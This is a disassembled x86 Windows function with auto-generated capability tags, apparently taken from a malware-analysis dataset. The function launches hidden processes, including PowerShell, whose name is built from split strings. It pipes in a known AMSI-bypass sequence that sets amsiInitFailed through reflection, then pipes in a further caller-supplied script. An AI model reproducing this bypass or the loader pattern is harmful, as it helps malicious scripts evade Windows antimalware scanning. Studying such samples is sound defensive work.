Function at 0x4179a4
Capabilities:
Create pipe
Create process on windows
Create two anonymous pipes
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43956a
mov eax, dword fs:[0]
push eax
sub esp, 0x19c
mov eax, dword [0x44c370]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x44
push 0
lea eax, [ebp - 0x164]
push eax
call fcn.0041cfe0
add esp, 0xc
mov dword [ebp - 0x164], 0x44
push 0x10
push 0
lea eax, [ebp - 0xf8]
push eax
call fcn.0041cfe0
add esp, 0xc
mov dword [ebp - 0x114], 0xc
and dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 1
push 0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x417a42
push 0xffffffffffffffff
call fcn.0042319f
mov dword [ebp - 0x138], 0x100
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x12c], eax
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x128], eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x124], eax
push 0x43ab98
lea ecx, [ebp - 0xa0]
call fcn.00406b0d
and dword [ebp - 4], 0
push 0x43aba8
lea ecx, [ebp - 0xa0]
call fcn.00417ffd
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x164]
push eax
push 0
push 0
push 0x8000000
push 1
push 0
push 0
lea ecx, [ebp - 0xa0]
call fcn.0040ec35
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x417ad4
push 0xffffffffffffffff
call fcn.0042319f
push 0x3a98
push dword [ebp - 0xf8]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x43abb4
lea ecx, [ebp - 0x40]
call fcn.0040690c
mov byte [ebp - 4], 1
push 0x43abc0
lea ecx, [ebp - 0x40]
call fcn.00413ecd
push 0x43abd0
lea ecx, [ebp - 0x40]
call fcn.00413ecd
push 0x43abe0
lea ecx, [ebp - 0x40]
call fcn.00413ecd
push 0x43ac2c
lea ecx, [ebp - 0x40]
call fcn.00413ecd
push 0x43ac3c
lea ecx, [ebp - 0x40]
call fcn.00413ecd
push 0x43ac78
lea ecx, [ebp - 0x40]
call fcn.00413ecd
lea ecx, [ebp - 0x40]
call fcn.0040f812
mov dword [ebp - 0xb4], eax
lea ecx, [ebp - 0x40]
call fcn.0040ebf3
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0xbc], eax
push 0
lea eax, [ebp - 0xc0]
push eax
push dword [ebp - 0xb4]
push dword [ebp - 0xb8]
push dword [ebp - 0xbc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x417ba3
push 0xffffffffffffffff
call fcn.0042319f
push 0x3e8
push dword [ebp - 0xf8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 0xc]
push dword [ebp + 8]
lea ecx, [ebp - 0x88]
call fcn.00417f9f
mov byte [ebp - 4], 2
push 0x43ac94
lea ecx, [ebp - 0x88]
call fcn.00413ecd
lea ecx, [ebp - 0x88]
call fcn.0040f812
mov dword [ebp - 0xc4], eax
lea ecx, [ebp - 0x88]
call fcn.0040ebf3
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0xcc], eax
push 0
lea eax, [ebp - 0xc0]
push eax
push dword [ebp - 0xc4]
push dword [ebp - 0xc8]
push dword [ebp - 0xcc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x417c33
push 0xffffffffffffffff
call fcn.0042319f
push 0x2710
push dword [ebp - 0xf8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [ebp - 0xf8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xa4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xf8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xf4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x44
push 0
lea eax, [ebp - 0x1a8]
push eax
call fcn.0041cfe0
add esp, 0xc
mov dword [ebp - 0x1a8], 0x44
push 0x10
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.0041cfe0
add esp, 0xc
mov dword [ebp - 0x120], 0xc
and dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 1
push 0
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0xb0]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x417cf5
push 0xffffffffffffffff
call fcn.0042319f
mov dword [ebp - 0x17c], 0x100
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x170], eax
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x16c], eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x168], eax
push str.powers
lea ecx, [ebp - 0x58]
call fcn.00406b0d
mov byte [ebp - 4], 3
push str.hell
lea ecx, [ebp - 0x58]
call fcn.00417ffd
push str.__Com
lea ecx, [ebp - 0x58]
call fcn.00417ffd
push str.mand__
lea ecx, [ebp - 0x58]
call fcn.00417ffd
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x1a8]
push eax
push 0
push 0
push 0x8000000
push 1
push 0
push 0
lea ecx, [ebp - 0x58]
call fcn.0040ec35
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x417d98
push 0xffffffffffffffff
call fcn.0042319f
push 0x3a98
push dword [ebp - 0x108]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._a_Ref__n
lea ecx, [ebp - 0x28]
call fcn.0040690c
mov byte [ebp - 4], 4
push str._b_a.Assembly_n
lea ecx, [ebp - 0x28]
call fcn.00413ecd
push str._c_b.GetType
lea ecx, [ebp - 0x28]
call fcn.00413ecd
push str._System.Management.Automation.AmsiUtils_
lea ecx, [ebp - 0x28]
call fcn.00413ecd
push str._n_d_c.GetField
lea ecx, [ebp - 0x28]
call fcn.00413ecd
push str._amsiInitFailed_NonPublic_Static_
lea ecx, [ebp - 0x28]
call fcn.00413ecd
push str._n_d.SetValue__null__true__n
lea ecx, [ebp - 0x28]
call fcn.00413ecd
lea ecx, [ebp - 0x28]
call fcn.0040f812
mov dword [ebp - 0xd0], eax
lea ecx, [ebp - 0x28]
call fcn.0040ebf3
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xd8], eax
push 0
lea eax, [ebp - 0xdc]
push eax
push dword [ebp - 0xd0]
push dword [ebp - 0xd4]
push dword [ebp - 0xd8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x417e67
push 0xffffffffffffffff
call fcn.0042319f
push 0x3e8
push dword [ebp - 0x108]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 0xc]
push dword [ebp + 8]
lea ecx, [ebp - 0x70]
call fcn.00417f9f
mov byte [ebp - 4], 5
push 0x43adb0
lea ecx, [ebp - 0x70]
call fcn.00413ecd
lea ecx, [ebp - 0x70]
call fcn.0040f812
mov dword [ebp - 0xe0], eax
lea ecx, [ebp - 0x70]
call fcn.0040ebf3
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xe8], eax
push 0
lea eax, [ebp - 0xdc]
push eax
push dword [ebp - 0xe0]
push dword [ebp - 0xe4]
push dword [ebp - 0xe8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x417eeb
push 0xffffffffffffffff
call fcn.0042319f
push 0x2710
push dword [ebp - 0x108]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [ebp - 0x108]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0xb0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xa8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x108]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x104]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x70]
call fcn.0040780b
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x28]
call fcn.0040780b
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x58]
call fcn.0040784e
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x88]
call fcn.0040780b
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.0040780b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa0]
call fcn.0040784e
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041bb9d
leave
ret